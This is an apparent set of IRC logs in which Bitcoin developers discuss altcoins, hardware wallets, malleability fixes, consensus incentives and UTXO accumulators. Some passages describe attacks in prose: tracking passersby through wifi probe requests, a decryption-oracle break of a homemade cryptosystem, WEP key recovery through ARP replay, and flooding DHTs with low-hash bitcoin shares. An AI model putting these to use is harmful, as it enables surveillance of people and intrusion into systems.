08:52 < gmaxwell> LHR 45 minute wifi is robbery.
08:52 < brisque> adam3us: just spoof your MAC.
08:52 < adam3us> gmaxwell: i could tumble the mac i guess, but too late
08:53 < adam3us> gmaxwell: i was thinking really should ptu a script to tumble th emac on network connect anyway - privacy principle. probably nsa is tracking mac s somewhere in utah
08:54 < brisque> adam3us: changing your MAC doesn't stop that, you can just look for wifi cards announcing what networks they're looking for and then compare that to the google skyhook database to find their home address.
08:54 < adam3us> gmaxwell: also it a rather nice argument against scamcoins (still need a better word to describe param-tweak/get-rich-quick from genuine innovation)
and why did you start a new digital scarcity race? we were discussing that above in relation to coingen.
08:55 < adam3us> gmaxwell: and it seems likely the min-bar will just go up slightly to things like primecoin, or other artificial uninteresting or stupid changes that are just above the param-tweak and come with a semi-plausible to novice argument and white paper. (Like NXT
08:55 < brisque> adam3us: out of my own curiosity I set up a wifi dongle looking out onto the street that did something like that. incredibly effective when people walk around with phones in their pockets.
08:56 < adam3us> brisque: i think bitcoin has a problem. once a competent grey-hate gets too tempted the base band phone p0wning will harvest $ms of coins in automated attacks. we need hardware fast.
08:57 < adam3us> someone who shall remain nameless to protect their own stupidity showed me a phone with 500btc on it ('doh!)
08:57 < adam3us> (an otherwise i guess reasonably competent CS degree programmer type of person)
08:58 < brisque> adam3us: I was more talking about privacy violations by phones announcing people's home addresses every few seconds. I'd really like to see sensible hardware too though, the Trezor looks quite nice.
08:59 < brisque> adam3us: I personally predict a piece of commodity hardware will be hacked to create a secure but cheap USB based wallet. there's quite a number of children's toys that have been turned into RF analysers and other tools.
08:59 < adam3us> brisque: not sure if 2014 will be the year, but a year RSN we will surely see baseband and targetted DSL IP# hacks from bitcoin big change identified IP# from bitcoin users who dont use tor to spend from large coins; the only hope is air-gaps IMO, or TPM (arm trustzone, intel TPM etc)
09:00 < gmaxwell> adam3us: someone with a typo squat on a popular bitcoin service domain and a java exploit for IE that I was seeing get investigated recently had stolen several hundred btcs in a few days time.
09:00 < gmaxwell> so the bar is still pretty low
09:01 < brisque> adam3us: doesn't really have to be a specifically designed hardware. anything would do. I saw photos of a childrens toy that would make an excellent Trezor type device with a lot more features (full keyboard) than the real thing.
09:01 < adam3us> gmaxwell: the stupidity factor never ceases to amaze. its scarcy that people are not being hacked way more.
09:01 < brisque> adam3us: there's some constraints, but the hardware doesn't have to be complex. you don't even need to have a hardware RNG on board.
09:02 < adam3us> brisque: you said about wifi network advertising networks it wants. it works that way? no waiting for announce, requesting ssid ? the client broadcasts all the wifi ssid it knows??
09:03 < brisque> adam3us: a wifi client announces sequentially every wifi network it knows, every 10 seconds it ruins "hidden" SSID by sending out the name and MAC of the routers it knows.
09:03 < adam3us> sipa: so are you getting the 2-way peg bug yet? ;)
09:03 < sipa> adam3us: let's call them "silly alts", "delusional alts" and "flawed alts" :)
09:03 < brisque> adam3us: this is the childrens toy I was talking about. you could certainly port a hardware wallet to this. http://d4c027c89b30561298bd-484902fe60e1615dc83faa972a248000.r12.cf3.rackcdn.com/imagepicker/4494/thumbs/IM.jpg
09:04 < adam3us> brisque: on noes! i guess the mac-tumbler script i need to write needs to flush the ssid cache also
09:05 < adam3us> brisque: i like the QR code as optical isolation connection that "visual btc" setup
09:05 < adam3us> brisque: of course it helps if the value could be signed so the input tx history doesnt need to be sent to work around that bug
09:06 < brisque> the IM-me is missing a camera so a QR code is out of the question. the sticking point is that you can't use sound because of the must-see-every-input issue of transactions.
09:06 < brisque> a device like this with more IO (a camera mainly) would be able to replace trezor with cheap commodity hardware.
09:07 < brisque> if the must-see-every-input bug was fixed in 0.9, you could almost push a TX via sound, it's just too heavy as it stands.
09:07 < adam3us> sipa: i guess someone could do a zoo-ology catalog of them. the variety of stupidity and greed in involved is hilarious. some of them even bootstrapped to semi-respectability by first-mover advantage. i think one test maybe zero real-transactions (non speculator), lack of clients, lack of any development, lack of any plan to obtain real-tx
09:09 < gmaxwell> people would never believe the zooology wasn't all made up
09:09 < adam3us> brisque: as i recall gmaxwell guestimated 2 years to fix the sig malleability bug; not sure what the guestimate would be on the no signed values bug. depressing. hence enthusiasm for 2-way peg. in the old thread on 2-way peg gmaxwell said (in relation to my question if this itself could get implemented given the other bugs) was that yes but this (2-way
peg) is the one change to rule them all
09:10 < adam3us> gmaxwell: crypto-zoology :)
09:10 < gmaxwell> adam3us: also
why bother with baseband hacks and zero days, when you can just ask people to give you their money: https://bitcointalk.org/index.php?topic=393593.msg4274997#msg4274997
09:11 < gmaxwell> adam3us: yea, a two way pegging facility is fully general. I mean its a way you could completely replace the protocol in a totally consentual way, start up mergemined two-way-peg and move all the funds to the new chain over time.
09:11 < brisque> adam3us: if dogecoin can do a hard fork in 10 days, I'm sure gmaxwell can come up with some crypto-magic to get bitcoin's done in 20.
09:12 < gmaxwell> having a hard fork is not a problem, avoiding one is.
09:12 < gmaxwell> suggested two way peg stuff doesn't actually need a hardfork, might not even be any easier with one.. it's just new scriptpubkey features, at least if it stays at the quasi spv security level.
23:00 < amiller> it costs $100 to defend against a $100 attacker
23:00 < amiller> okay but how about we just spend $10 but then if a $100 attacker attacks, we'll just be safe anyway
23:01 < petertodd> gmaxwell: yeah, which is interesting, because if the community knows there are defenses, that itself helps keep the faith in the system high
23:01 < petertodd> amiller: No, the defense doesn't have to be cheap, it has to have a short leadtime.
23:01 < petertodd> amiller: If it was $100 for every $10 the attacker spent, it'd probably be ok too, but it has to be possible to respond quickly.
23:01 < amiller> i don't think it counts if you do it retroactively
23:01 < amiller> but hm.
23:02 < amiller> so you build a huge force field but you leave it unpowered
23:02 < amiller> if you detect a missile you raise the shields
23:02 < gmaxwell> amiller: petertodd is arguing that if you can defend instantly, you could put up to 100% of the money the attack would cost you into the defense.
23:02 < petertodd> amiller: Ha, yes kinda! The huge force-field is the huge number of coins sitting around in people's wallets basically.
23:02 < gmaxwell> amiller: and if everyone does that the attacker can basically never win if their winning is defined as a gain within the system.
23:02 < amiller> the coins aren't real value though
23:02 < amiller> if everyone spends them all then you still have the same vlaue
23:02 < amiller> nothing was spent
23:02 < gmaxwell> amiller: not everyone, the people getting ripped off.
23:02 < amiller> the suckers who decided to defend?
23:03 < petertodd> gmaxwell: yeah, part of my argument is also that you need the attackers to know this, and not really want to try
23:03 < petertodd> amiller: They're not suckers; they're people with transactions that would otherwise be reversed.
23:03 < gmaxwell> amiller: you pay me 5 btc. then reorg that transaction out. I say fuck you and convert that 5 BTC into POW on the old chain.
23:03 < amiller> that's a weird argument though
23:03 < amiller> you can't burn money you can't only give it to everyone else
23:03 < amiller> you can only*
23:04 < petertodd> amiller: Right, but by burning it, you're giving it to the people you actually want to: the other pre-existing participants in the system.
23:04 < gmaxwell> if miners were not hardware, what peter todd suggests could just work via fees.
23:04 < gmaxwell> pre-existing participants in the chain you want to survive.
23:04 < petertodd> gmaxwell: Yes, if we had replicators we'd implement my scheme in hardware. :)
23:05 < gmaxwell> yea, if the miners were free but only took power when used, then it would work. You'd just have huge latent hashpower that turns on when there is an attack.
23:06 < amiller> that sounds good
23:06 < petertodd> Exactly! And we can even learn how the dynamics of this stuff work with proof-of-sacrifice blockchains, like the zookeyv system I proposed a few months ago.
23:06 < gmaxwell> petertodd: here is your POS: nodes pick the most profitable to mine chain.
23:06 < petertodd> gmaxwell: my POS?
23:06 < gmaxwell> you can convert coins to proof by just making the chain you like more profitable.
23:07 < amiller> so pos is exactly bribing the miners anyway :o
23:07 < gmaxwell> amiller: there is a subtle difference!!!
23:07 < petertodd> amiller: which would work, expect that miners have fixed capacity
23:07 < petertodd> amiller: *except
23:07 < gmaxwell> amiller: say 60% hashpower is evil and stays on the less profitable chain. The network still ignores them.
23:07 < gmaxwell> Because "fuck you, our consensus is the most profitable chain"
23:08 < petertodd> gmaxwell: well remember that "profitable" can also mean "my business is profitable because my transaction went through and I got paid"
23:08 < amiller> so no one picks the longest proof of work they only pick the most profitable chain?
23:08 < gmaxwell> petertodd: and you can conver one to the other by spending to fees.
23:08 < petertodd> gmaxwell: we can have this entire discussion if there is no block subsidy
23:08 < petertodd> gmaxwell: yup
23:08 < gmaxwell> amiller: longest POW would, I guess be the tiebreaker for differences in short term profitablity? I haven't fully thought this out.
23:09 < petertodd> and in the zookeyv system, the consensus key-value thing, profitable is soley "my DNS records are what I want them to be"
23:09 < amiller> maybe longest pow is nothing but an expensive focal point?
23:09 < petertodd> *solely
23:09 < gmaxwell> amiller: "profitable" includes the notion that it's likely to be the winner. So you can use other symmetry breakers like most pow work as part of your profitable figure.
23:10 < gmaxwell> The devil is how they balance.
23:10 < amiller> symmetry breakers is silly to make expensive thouhg
23:10 < amiller> if that's the only explanation for the role of pow then that's not compelilng
23:10 < warren> <petertodd> [15:08:17] maaku: With MMR TXO commitments we can stop hassling every idiot who bloats the UTXO set, and for that matter, they aren't idiots anymore...
23:10 < warren> petertodd: so does this mean you give up on keepbitcoinfree?
23:10 < petertodd> gmaxwell: yeah, in zookeyv if it's implemented as a strict DAG there can be the problem that there's no incentive to build on anything but your own records
23:11 < petertodd> warren: keepbitcoinfree isn't just about UTXO's
23:11 < gmaxwell> none of the MMR stuff solves bandwidth.
23:11 < petertodd> warren: Though in general I suspect you *can* create consensus systems that allow for arbitrary numbers of transactions, but they look radically different than bitcoin.
23:11 < amiller> bandwidth is payers problem though
23:12 < amiller> spend your utxo sooner so it costs less
23:12 < petertodd> amiller: bandwidth can prevent you from detecting fraud...
23:12 < amiller> oh you're assuming probabilistic validation or something?
23:12 < petertodd> amiller: yes, there's just no other way than sharding, and that's got ugly issues - I'm sure I can come up with a proof that any such system always suffers from the risk of data deletion
23:13 < petertodd> amiller: and the only way to prevent that is force mining - whatever form it takes - to require some kind of proof-of-stake-ish consensus to make sure that if the txout owners chose to they would be able to keep up with updates to their little shard of the txout set
23:14 < petertodd> s/force/for/
23:15 < maaku> ?
23:15 < maaku> are you assuming scaling beyond the limit of a single pipe being able to carry block updates?
23:15 < petertodd> maaku: yes
23:15 < petertodd> maaku: beyond any individual internet connection in the world in fact
23:16 < amiller> grubmel, i can't figure out what it is you can you achieve by actually *burning* value *for everyone* instead of just disbursing it at random to everyone else in the system
23:16 < petertodd> amiller: destroying a coin == disbursing it to everyone else
23:16 < petertodd> amiller: so why not make things simple?
23:16 < maaku> is that even worth considering?
23:16 < amiller> yes and pow = burning it for everyone
23:17 < amiller> they're different and the difference may be important
23:17 < petertodd> amiller: point is we need an artifical form of proof-of-work, and that's the best we can get that operates in limited-bandwidth jam-free networks
23:17 < amiller> no it's not artificial
23:17 < amiller> it's fake
23:17 < amiller> disbursing to everyone != actually destroying something
23:17 < maaku> 1Gbps is what, 600k tps?
23:18 < petertodd> amiller: who cares what exactly it is? what's important is that it gives us a way of coming to consensus about what is the best chain
23:18 < amiller> that's not it
23:18 < amiller> they both give you a way of coming to consensus if everyone or enough people follow the protocol exactly
23:18 < amiller> what it doesn't explain is how the difference affects the incentives to come to consensus rather than doing something else
23:19 < amiller> you can forgive a proof of stake
23:19 < petertodd> maaku: a ideal system should be able to operate with individual nodes having nothing more than a tin can and string, so lets see how close we can get to that
23:19 < amiller> if everyone decides to you could just distribute the money right back to the person who staked it in there
23:19 < amiller> and there would be no system loss, no friction
23:19 < amiller> you can't forgive the burning of energy
23:20 < maaku> i'm as wary as the next guy to saying '640k is enough for anybody', but really i don't know a single application that would require *public* consensus over that many transactions
23:20 < petertodd> amiller: look, it's really simple: I want a way of saying "this chain is the best chain" without having access to mining power
23:20 < petertodd> amiller: That's it!
23:20 < amiller> but you want it in a rational system with anonymous players!
23:20 < amiller> or else i suggest just having one guy with a private key that signs it
23:21 < maaku> ok, maybe i'm missing something again, but how do you have full validation (which miners have to do), without access to the blocks?
23:21 < petertodd> amiller: yes, which makes it hard, and the best I can think of is being able to create a little bit of data that says "if this chain is the best chain, I'm happy to give up 1 million FOO TOKENS from the foo-system ledger"
23:21 < amiller> petertodd, if you're a dictator you can just raise everyo'nes taxes by 1 foo each
23:21 < amiller> and recoup your costs
23:21 < amiller> and actually no one hurt
23:22 < amiller> you can convince them all it was good for them to give you that power
23:22 < petertodd> amiller: Now you add up all the other little bits of data saying similar things, and you say "well, block 12345 has a lot of people willing to give up foo tokens if it's the best, so it's the best!"
23:22 < petertodd> amiller: huh?
02:39 < gmaxwell> But the site learns nothing about which bitcoin were yours... or nothing about identities you use on other sites !Y.
02:40 < gmaxwell> and if the proof takes a cpu hour to compute, well that actually doesn't reduce the usefulness all that much.
03:01 < BlueMatt> can I ask a dumb question?...whats a sin in this context?
03:02 < maaku> google identity protocol
03:02 < maaku> oh gribble's not here
03:03 < BlueMatt> ahh, ok
03:03 < BlueMatt> my google-fu was looking in the wrong places
03:03 < maaku> https://en.bitcoin.it/wiki/Identity_protocol_v1
03:03 < maaku> yeah
03:04 * maaku is still waiting for someone to come up with a v2 protocol so we can have a lively debate about the merits of original SIN
03:06 < BlueMatt> has anyone even started implementing identity protocol?
03:09 < BlueMatt> ahh, yes, there is
03:11 < BlueMatt> heh, ofc jgarzik wrote it in node.js...
03:33 * gmaxwell groans at maaku's pun
03:38 < BlueMatt> hey, its better than HD wallets
03:39 < gmaxwell> I continue to think HD wallets is a perfectly good name.
03:39 < BlueMatt> I continue to disagree (though considering how often I'm mia, thats rarely useful)
03:40 < gmaxwell> ;;ticker
03:40 < gribble> MtGox BTCUSD ticker | Best bid: 500.5, Best ask: 500.97, Bid-ask spread: 0.47000, Last trade: 500.97, 24 hour volume: 48505.69491744, 24 hour low: 500.5, 24 hour high: 774.9899, 24 hour vwap: 628.33712
03:40 < gmaxwell> oops wrong window. :P
03:40 < BlueMatt> well, thanks for reminding me to buy cheap coins :)
09:21 < jgarzik> maaku, gmaxwell: pun already made: http://garzikrants.blogspot.com/2013/08/original-sin.html
10:56 * Luke-Jr ponders how to respond to altoz this time.
11:12 < andytoshi> i think he's just going to keep claiming not to be able to read what you're saying
11:13 < andytoshi> if you PM him, idk if he'll receive the message if you're on his blacklist
11:34 < gmaxwell> Luke-Jr: I advise just dropping it.
12:12 < gmaxwell> Luke-Jr: I cracked his cryptosystem
12:12 < Luke-Jr> lol
12:12 < andytoshi> wow, nice
12:22 < gmaxwell> This is what I sent him:
12:23 < gmaxwell> Incidentally, I can compromise your cryptosystem for a single message with 2^64 known-ciphertext queries to a decryption oracle. E.g. you run a server that decrypts messages and returns the results and I obtain the ciphertext of a message someone else created (which the oracle refuses to decrypt for me, otherwise this would be trivial), and after making
~2^64 queries to your decryption oracle I can decrypt the unknown message.
12:23 < gmaxwell> This isn't the most grievous of weaknesses, but its somewhat surprising, and I could imagine someone using this in a way which made it actually exploitable for something.
12:23 < gmaxwell> I'm being a bit oracular because I thought you might enjoy figuring out what I'm thinking.
12:24 < gmaxwell> (I was hoping it would be 2^32 queries
then it would be reasonable to put up demonstration code)
12:24 < gmaxwell> (alas)
12:25 < andytoshi> brute-forcing the keyspace would be 2^256?
12:27 < andytoshi> ah, no, he is using aes-128
12:28 * gmaxwell refrains from giving hints.
12:29 < Emcy> im just wondering what oracular means
12:29 < Emcy> guess synonym verbose
12:29 < andytoshi> Emcy: i think, you have to submit questions to gmaxwell, and he will decide whether to answer them
12:31 < andytoshi> or rather, altoz does
12:31 < gmaxwell> Emcy: Where I say that I'm being oracular, I'm referring to the point that oracles
of the classic sort
answer questions in riddles.
12:32 < Emcy> "In Classical Antiquity, an oracle was a person or agency considered to interface wise counsel or prophetic predictions or precognition of the future, inspired by the gods."
12:32 < Emcy> hmm thats my werd lernin for today
12:33 < Emcy> how dod you get to know so much about crypto? Do you have any formal math background?
12:33 < gmaxwell> In my attack description I'm using the world oracle in the sense used in cryptographic lit. ... an oracle is some black box that performs some function. E.g. a remote server that signs messages for you or decrypts things for you would be an example of an oracle.
12:35 < gmaxwell> well I majored in math before I dropped out of college... but no, I was just one of those annoying kids who read most of the books in the library and remembered a few of them.
12:36 < Emcy> hmm ok pretty cool
12:36 < Emcy> its one thing to learn the maths it another to break someone elses maths
12:37 < Emcy> i had a tutor once who impressed upon me the difference between learning by rote and the power of original thought
12:37 < Emcy> he said the former end up tutoring in college and the latter end up tenured in university
12:37 < gmaxwell> I think a lot of people are short changed by education which focuses on learning by rote.
12:38 < gmaxwell> haha
12:39 < gmaxwell> The annoying thing about breaking cryptosystems is that even when you find a neat flat it usually only gets you 99% of the way there, but you can't expand it to a full compromise because of some accidental detail which isn't _just right_ for the attack to work. In this case I think it would actually work (I guess I could go weaken it further to be completely sure).
12:40 < gmaxwell> s/flat/flaw/
12:40 < Emcy> is 2^64 queries to some soerver actually viable though
12:41 < gmaxwell> Yes it is, though not enough to demonstrate easily.
12:41 < gmaxwell> Or at least close enough to viable that its a surprising weakness.
12:41 < gmaxwell> Emcy: e.g. what if the "server" is a bitcoin trezor like device in your possession?
12:42 < Emcy> cry
12:42 < gmaxwell> But I mean that that often weaknesses are such that even allowing for "unreasonable" freedoms like 2^64 queries to a blackbox decryptor you still can't break it.
12:42 < Emcy> at least 2^64 packets over the actual internet though. Seems like a faff. Suppose you could be in no rush though
12:43 < gmaxwell> (It's hard to say if thats unreasonable or not, depends on the applications. Thats the bummer about generic constructs)
12:44 < gmaxwell> Emcy: yea, before I looked at the code again I thought it would be 2^32, in which case it would have been trivial even over the internet.
12:44 < Emcy> still i think 2^64 or 64 bits or whatever is not something you want to see in any cryptosystem any more afaik
12:44 < gmaxwell> right.
12:45 < Emcy> 2^32 is only like 4 billion right
12:45 < gmaxwell> Right.
12:46 < gmaxwell> If there is also a simple software bug I can reduce it to one query.
12:46 < andytoshi> Emcy: things like decryption-oracle attacks are fairly standard in cryptography and there is a lot written about them
12:46 < andytoshi> like "Random Oracles are Practical" by Bellare and Rogaway is a paper the wizards pointed me to
12:46 < Emcy> would that be how the wifi hacks work
12:46 < gmaxwell> But I suppose that for some definition of "bug" thats always the case, e.g. bug: gives up the private key.
12:47 < andytoshi> wifi attacks i think showed up on matthew green's blog..
12:47 < Emcy> you packet inject until you get enough back to recover the key
12:47 < Emcy> the router is the oracle?
12:48 < andytoshi> ah, yes
12:48 < andytoshi> http://blog.cryptographyengineering.com/2011/09/when-things-fall-apart-part-1.html
12:48 < gmaxwell> Emcy: yea, well, the wifi attacks are very specialized... WEP uses RC4 which is a stream cipher, you put in a key, it puts out an infinite stream of 'random' bits. These bits get xored with the packets.
12:49 < gmaxwell> If RC4 were a perfect, you wouldn't be able to learn anything useful about the key just by knowing some of those random bits.
12:49 < gmaxwell> RC4 is far, far from perfect.
12:50 < gmaxwell> If you know some data in a packet, you can take an encrypted packet, xor it with the data you know, and you'll learn the output of RC4 in those known positions.
12:50 < gmaxwell> So the WEP attacks usually work by replaying an encrypted arp request (which you reconize by the size). The router acts as an orcale producing a stream of ARP replies which are encrypted.
12:51 < gmaxwell> But you know some bits of the arp replies because they're fixed in the packet syntax.
12:51 < Emcy> ha i was right
12:51 < gmaxwell> and some because they copy data from the arp request.
12:52 < gmaxwell> So you gather a bunch of rc4 output with different initilization vectors (incremented in every packet), and you can setup a system of equations that derrives the key.
12:53 < gmaxwell> Nothing _quite_ so fancy is needed for this encrypted message thing.
12:54 < Emcy> what you described doesnt seem so fancy to me
12:54 < Emcy> just seems like pattern matching
12:55 < Emcy> you just need enough pattern
12:55 < gmaxwell> sure, the gist of it is simple, the math somewhat less so.
12:55 < Emcy> sure
12:56 < gmaxwell> I find that nothing accomplished by men is actually all that complicated once put into the right terms. Otherwise we couldn't accomplish it.
12:56 < Emcy> do we have any systems that are too complex for a single mind to grasp alone?
12:56 < Emcy> layout of a modern CPU perhaps
12:58 < gmaxwell> sure, but you break them down.
12:58 < gmaxwell> And all the parts are sensible in isolation, and the overall design
ignoring the details
12:58 < gmaxwell> It's actually quite reasonable to build software systems which are vastly beyond the ability of one person to comprehend at least all at once.
12:59 < Emcy> yes, but things get interesting when someone goes wrong due to an emergent property of how the parts interact. And no one can figure it out because no human has the cubic centimetres of brain required......
13:00 < Emcy> i wonder if humans have a system like that anywhere
13:00 < Emcy> the OPERA neutrino thing maybe? that stumped em
18:54 < amiller> np
--- Log closed Sun Sep 22 00:00:05 2013
--- Log opened Sun Sep 22 00:00:05 2013
00:08 < warren> darn, wouldn't have the gitian linux -> mac cross compile goal have been a worthy grant proposal?
00:09 < warren> too late now
01:47 < amiller> i'm going to call my new abstraction of the hashcash puzzle, "Scratch-Off Puzzles"
01:47 < amiller> since proof-of-work isn't quite the right definition after all
01:48 < amiller> also i'm going to write a series of papers called "Money from Scratch," "Decentralized Storage from Scratch," etc.
01:49 < gmaxwell> I might have complained about "Scratch-Off Puzzles", but those justify it
01:49 < amiller> it's a solid three-way pun
01:49 < gmaxwell> "Scratch-Off Puzzles" sort of suggests that there is a dealer.
01:49 < amiller> especially the bootstrapping problem implied by "Money from Scratch" is the best
01:49 < amiller> yeah.
01:49 < gmaxwell> (I suppose the network actually is a dealer, but it has no secret)
01:49 < amiller> is it the "puzzle" that suggests that?
01:50 < amiller> scratch-off challenge is almost better
01:50 < gmaxwell> The finiteness of the scratch-off contributes too, but it's actually correct... it's actually finite due to the network acting as a dealer.
01:51 < amiller> it might not be a "puzzle" if it's not guaranteed to have a solution
01:52 < amiller> riddle, etc., has the same connotation
01:53 < gmaxwell> it's not hard to describe a construction where a solution is guaranteed, I think. e.g. a keyed permutation, network state is one input, you search for a key. Pigeonhole principle says there is always a solution.
01:55 < amiller> it doesn't seem like that's important in any case, i mean it's low enough probability it would happen with sha2 right
01:56 < gmaxwell> right. (in fact, because how how we're setup where we have >256 bits of input I wouldn't be surprised if it were actually impossible to have no solution, though we can't prove that)
01:57 < amiller> even if it's a random oracle it's possible to have no soultion
01:57 < gmaxwell> just pointing out, you can actually create a sutible structure where you _can_ prove that... if you care.
01:57 < amiller> because bitcoin doesn't use the full infinite domain of the hash function, it has a bounded size header
01:59 < gmaxwell> It could turn out that sha256^2 has no output with >74 leading zero bits, even with infinite length inputs.
02:00 < amiller> yes but if it were a random oracle, that would happen with probability zero
02:01 < amiller> it could happen with nonzero probability to "sponges", since those have bounded internal state
02:01 < amiller> i think sha2 is closer to a sponge
02:03 < gmaxwell> (dunno if you noticed, but we now have a hash with 73 leading zeros)
02:08 < gmaxwell> I'm wondering if it would trick anyone if I wrote a obfscuated paper describing some fictitious attack on SHA256 that produced some of bitcoins very low value outputs. esp since the input will look random.
02:09 < gmaxwell> I wonder if you could use bitcoin's biproduct to break some protocols which are secure under random oracle.
02:09 < gmaxwell> er byproduct.
02:09 < amiller> that's a cool observation.
02:09 < amiller> no one cares about the zeros
02:10 < amiller> but it's definitely non-random, it's a pickable (not just recognizable) pattern, like 123456789
02:11 < gmaxwell> well, it just means you can get lots of sha256 inputs that give you a common prefix. E.g. a DHT that stored things by content hash uniformly distributed to nodes with <2^32 nodes would be totally devastated by a feed of bitcoin shares.
02:11 < amiller> yeah, perfect
02:12 < gmaxwell> amiller: because bitcoin is sha256^2 the inputs to sha256 that produce the low values are quite non-obvious.
02:13 < gmaxwell> (I previously verified that our shares wouldn't break freenet, they add extra data to the hash)
02:13 < gmaxwell> Otherwise we would
and a trivally modified bitcoin fpga farm could break freenet pretty good. :(
02:14 < amiller> did you write anything about that
02:14 < amiller> er, mention it anywhere
02:15 < gmaxwell> (nodes will move their locations to split up the hash space better
but it's insanely unlikely that two locations will ever become close enough to split hashes sharing a 32 bit common prefix)
02:15 < gmaxwell> I went and asked the freenet developers what was in their hash, but thats it.
02:16 < gmaxwell> (freenet locations are randomly generated, and then the network swaps them to optimize
so if the keys are non-uniform
02:16 < gmaxwell> I expect lots of DHTs are vulnerable to something like this, but since they're generally made of fail I don't know that it matters.
02:17 < gmaxwell> I'm sure the serious cryptographers would go "see, random oracle assumptions suck"; But this attack works with a real random oracle too.
02:18 < amiller> it's really fun trying to define the reward-claiming part of the puzzle
02:18 < amiller> because the proof-of-work puzzles and client-puzzles don't
02:18 < amiller> the fun part is that since i want to include the stealable puzzle stuff, i'm being careful not to say you have to choose the message before starting
02:18 < amiller> so it's something like non-malleability
02:19 < amiller> given just the scratch-off-proofs generated by arbitrarily many other parties, who dedicate it to messages m1, m2, m3, .... , however many, that doesn't give you any help in producing a scratch-off-proof dedicated to some other message m
05:36 < warren> jgarzik: https://github.com/bitcoin/bitcoin/issues/2770#issuecomment-24756647
05:37 < warren> jgarzik: you said you had people that could reproduce the macos corruption? severely delayed but here's a build to test. GPG signed.
05:38 < warren> jgarzik: we have a dedicated machine to doing our builds, setup we *think* in exactly the same way gavinandresen does it, we aren't certain.
16:14 < warren> jgarzik: saw the above?
16:15 < jgarzik> warren, da
--- Log closed Sun Sep 22 22:19:31 2013
--- Log opened Mon Sep 23 01:10:29 2013
--- Log closed Tue Sep 24 00:00:09 2013
--- Log opened Tue Sep 24 00:00:09 2013
07:29 < warren> I'm not sure how to respond to https://github.com/bitcoin/bitcoin/pull/3008
07:32 < warren> truthful response? "I think you're backwards in reasoning on every part of your explanation. Your existing spam solution is terrible and entirely insufficient, and dropping the 0.01 size limit will make spam worse. And the part about a zero fee 26KB tx... is impossible."
07:34 < warren> also "This 10KB -> 1KB change will mean how many extra wasted bytes in the permanent blockchain for dust combiners? Previously they could combine 67 inputs in one output. This kind of user DOES care about fees and is willing to wait many blocks for their 10KB tx to sneak in."
10:27 < petertodd> warren: the 0.01 thing makes it not much more expensive to put data in the UTXO set, think about it
10:27 < petertodd> warren: also, do the math for how many extra wasted bytes that actually is, it's not much...
10:53 < gmaxwell> warren: I don't think the 0.01 thing matters pretty much at all, after looking at the txn.
10:54 < gmaxwell> people will pay their 0.0001 BTC fee, and then make a minimum size output. No one is going to make a 0.01 output to avoid the fee and then use it on an unspendable output, as that would cost more.
10:55 < gmaxwell> 0.01 = >$1 now, ... the new anti-dust rules are more compariable to the original 0.01 intent.
11:53 < adam3us> is there a proposed method to work around mutability of ECDSA signatures for the purposes of making dependent transactions (that depend on one or more of the outputs of a previous transaction)?
11:54 < adam3us> eg broadcast the dependent transaction twice once with each mutation txid=H(msg,r,s) and txid'=H(msg,r,-s)?
11:55 < adam3us> and can you on an output with zero value?
11:57 < gmaxwell> adam3us: There are more mutabilities than that one sadly.
11:58 < gmaxwell> We're slowly fixing them. E.g. bitcoin(d/-qt) git will now only produce the smaller possible S value. We'll also no longer relay varrious forms of garbage DER encoding that openssl still accepted.
12:42 < adam3us> that may be a slightly fragile approach - if they re notionally all fixed, and people start relying on that for big transactions/high value contracts, and just one more DER openssl bug is found boom
12:43 < adam3us> what about as a one fix instead saying validation must be done (any sigs valid etc) but the txid = H( msg, pub-key ) instead of H( msg, sig )
12:43 < gmaxwell> adam3us: our proposal to fix it is to rigidly parsing so openssl is irrelevant.
12:43 < adam3us> as msg includes locktime, sequence, and inputs
12:44 < adam3us> ok
12:44 < gmaxwell> adam3us: getting the sig out of the txid could help but that would be a very deep hardforking change, .. and it's actually tricky to make secure. E.g. what happens when you first get one with a bad signature?
12:44 < adam3us> reducing use of openssl to bare crypto is probably for the best, its defect rate is not fantastic
12:46 < adam3us> i guess my robustness comment is you then have a new security assumption - that there is no signature or encoding mutuability remaining
12:46 < adam3us> (well that assumption is already there except the mutability bugs are deterring reliance on such scripts for now)
12:46 < gmaxwell> adam3us: right, we're still a long way from that in any case.. right now we're just slowly moving towards it.
12:47 < gmaxwell> but I agree that before you can take it for granted you really need to do a lot of final review.
12:48 < midnightmagic> jgarzik: Can you tell your employer that it would be really helpful if a user could request more than one payment address for a single transaction? :-)
12:49 < midnightmagic> :-(
16:22 < petertodd> gmaxwell: nope, well, not yet anyway :) figuring out how to do that is my next goal... but I suspect that always runs into issues of censorship, where someone manages to get the only copies of some part of the txo set and prevents people from spending their coins
16:22 < gmaxwell> petertodd: well the whole problem with this set of issues is that you can't have an "autonoymous cold wallet"
16:22 < petertodd> gmaxwell: I think you need a proof-of-stake scheme for that; force miners to prove they have the consent of some majority (floating) of the people holding txouts
16:23 < gmaxwell> keeping your own data sounds great, except you require the person keeping it to be eternally vigilent.
16:23 < petertodd> gmaxwell: yup, I think that's unsolvable unfortunately
16:23 < gmaxwell> well, it's not, but I don't like the solutions.
16:24 < petertodd> what do you think solutions to that might be?
16:24 < gmaxwell> You need a one way accumulator that doesn't grow, so you can tick off spent coins.
16:25 < petertodd> Point is accumulators always either grow, or the proofs that your coin is in the accumulators require updating.
16:26 < gmaxwell> petertodd: sure, but what if the accumulator only tracks spent coins? Of course something that doesn't grow at all can't be collision free...
16:27 < gmaxwell> e.g. MMR to prove your coin existed, and then some kind of cryptographic accumulator that to check that it hasn't been spent.
16:27 < petertodd> gmaxwell: Right, now you can get down to 1 bit per txout for a spent coin accumulator, but you're not going to get lower than that... and if you do the numbers on an accumulator with acceptably low risk of collission it needs to be huge.
16:29 < petertodd> *probabalistic accumulator
16:30 < gmaxwell> so an interesting thing is that the bitstring can never have a weight greater than 21e14. I wonder if that helps.
16:30 < petertodd> ?
16:31 < gmaxwell> you can never have more than 21e14 unspent coins.
16:31 < petertodd> what do you mean by "the bitstring" though?
16:32 < gmaxwell> the spentness data.
16:33 < gmaxwell> I guess it doesn't really help, even though the number of 1s is limited the potential storage is still infinite.
16:33 < petertodd> oh, you mean by how many satoshis can be in circulation?
16:33 < gmaxwell> right.
16:33 < petertodd> yeah, those satoshis can be respent over and over again
16:33 < gmaxwell> sure but if they are they take away a 1 and move it elsewhere.
16:34 < gmaxwell> I was thinking about how an efficient representation of the bit array is minimum size for all spent and for none spent, and largest when p=.5
16:34 < K1773R> petertodd: hehe, i tested that script (download not uploading to chain) and it worked slowly
16:35 < petertodd> gmaxwell: Ah right.
16:36 < petertodd> K1773R: which script?
16:38 < petertodd> gmaxwell: It's interesting how you could think in terms of capping the whole UTXO set such that every human being could hold some bitcoins - a gigabyte of bits if represented properly
